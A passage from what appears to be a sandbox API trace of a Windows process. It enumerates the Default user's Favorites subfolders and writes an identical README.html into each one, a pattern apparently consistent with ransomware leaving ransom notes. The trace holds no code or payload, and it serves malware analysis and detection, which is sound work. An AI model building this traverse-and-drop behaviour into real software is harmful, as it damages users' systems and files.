	[0082.572] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Links\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.573] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.573] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfefb1330, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.573] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1
	[0082.573] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.573] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.573] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Links\\README.html" (normalized: "c:\\users\\default\\favorites\\links\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.573] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed30 | out: lpMode=0x127eed30) returned 0
	[0082.573] WriteFile (in: hFile=0xc0, lpBuffer=0x127e4000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed20, lpOverlapped=0x0 | out: lpBuffer=0x127e4000*, lpNumberOfBytesWritten=0x127eed20*=0xc5a, lpOverlapped=0x0) returned 1
	[0082.574] CloseHandle (hObject=0xc0) returned 1
	[0082.575] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12416080*, nNumberOfCharsToWrite=0x3b, lpNumberOfCharsWritten=0x127ee8b0, lpReserved=0x0 | out: lpBuffer=0x12416080*, lpNumberOfCharsWritten=0x127ee8b0*=0x3b) returned 1
	[0082.575] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url"), fInfoLevelId=0x0, lpFileInformation=0x123fc918 | out: lpFileInformation=0x123fc918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2)) returned 1
	[0082.576] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Links\\desktop.ini" (normalized: "c:\\users\\default\\favorites\\links\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fc968 | out: lpFileInformation=0x123fc968*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfefb1330, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x50)) returned 1
	[0082.576] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites" (normalized: "c:\\users\\default\\favorites\\msn websites"), fInfoLevelId=0x0, lpFileInformation=0x123fc9b8 | out: lpFileInformation=0x123fc9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.576] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites" (normalized: "c:\\users\\default\\favorites\\msn websites"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.576] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.619] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.619] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1
	[0082.619] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1
	[0082.619] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1
	[0082.619] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1
	[0082.619] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1
	[0082.619] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1
	[0082.619] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.619] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.620] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\README.html" (normalized: "c:\\users\\default\\favorites\\msn websites\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.624] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed30 | out: lpMode=0x127eed30) returned 0
	[0082.625] WriteFile (in: hFile=0xc0, lpBuffer=0x127e4c80*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed20, lpOverlapped=0x0 | out: lpBuffer=0x127e4c80*, lpNumberOfBytesWritten=0x127eed20*=0xc5a, lpOverlapped=0x0) returned 1
	[0082.626] CloseHandle (hObject=0xc0) returned 1
	[0082.626] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e2d0*, nNumberOfCharsToWrite=0x42, lpNumberOfCharsWritten=0x127ee8b0, lpReserved=0x0 | out: lpBuffer=0x1263e2d0*, lpNumberOfCharsWritten=0x127ee8b0*=0x42) returned 1
	[0082.627] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url"), fInfoLevelId=0x0, lpFileInformation=0x123fcbe8 | out: lpFileInformation=0x123fcbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1
	[0082.627] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url"), fInfoLevelId=0x0, lpFileInformation=0x123fcc38 | out: lpFileInformation=0x123fcc38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1
	[0082.627] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url"), fInfoLevelId=0x0, lpFileInformation=0x123fcc88 | out: lpFileInformation=0x123fcc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1
	[0082.627] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url"), fInfoLevelId=0x0, lpFileInformation=0x123fccd8 | out: lpFileInformation=0x123fccd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1
	[0082.628] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url"), fInfoLevelId=0x0, lpFileInformation=0x123fcd28 | out: lpFileInformation=0x123fcd28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1
	[0082.628] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url"), fInfoLevelId=0x0, lpFileInformation=0x123fcd78 | out: lpFileInformation=0x123fcd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1
	[0082.628] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites" (normalized: "c:\\users\\default\\favorites\\microsoft websites"), fInfoLevelId=0x0, lpFileInformation=0x123fcdc8 | out: lpFileInformation=0x123fcdc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.629] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites" (normalized: "c:\\users\\default\\favorites\\microsoft websites"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.629] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.637] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.637] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1
	[0082.637] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1
	[0082.637] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1
	[0082.637] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1
	[0082.637] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1
	[0082.637] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.637] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.638] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\README.html" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.639] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed30 | out: lpMode=0x127eed30) returned 0
	[0082.639] WriteFile (in: hFile=0xc0, lpBuffer=0x127e5900*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed20, lpOverlapped=0x0 | out: lpBuffer=0x127e5900*, lpNumberOfBytesWritten=0x127eed20*=0xc5a, lpOverlapped=0x0) returned 1
	[0082.640] CloseHandle (hObject=0xc0) returned 1
	[0082.641] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e360*, nNumberOfCharsToWrite=0x48, lpNumberOfCharsWritten=0x127ee8b0, lpReserved=0x0 | out: lpBuffer=0x1263e360*, lpNumberOfCharsWritten=0x127ee8b0*=0x48) returned 1
	[0082.642] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url"), fInfoLevelId=0x0, lpFileInformation=0x123fcfa8 | out: lpFileInformation=0x123fcfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1
	[0082.642] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url"), fInfoLevelId=0x0, lpFileInformation=0x123fcff8 | out: lpFileInformation=0x123fcff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1
	[0082.643] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url"), fInfoLevelId=0x0, lpFileInformation=0x123fd048 | out: lpFileInformation=0x123fd048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1
	[0082.643] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url"), fInfoLevelId=0x0, lpFileInformation=0x123fd098 | out: lpFileInformation=0x123fd098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1
	[0082.643] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url"), fInfoLevelId=0x0, lpFileInformation=0x123fd0e8 | out: lpFileInformation=0x123fd0e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86)) returned 1
	[0082.643] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Windows Live" (normalized: "c:\\users\\default\\favorites\\windows live"), fInfoLevelId=0x0, lpFileInformation=0x123fd138 | out: lpFileInformation=0x123fd138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.643] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live" (normalized: "c:\\users\\default\\favorites\\windows live"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
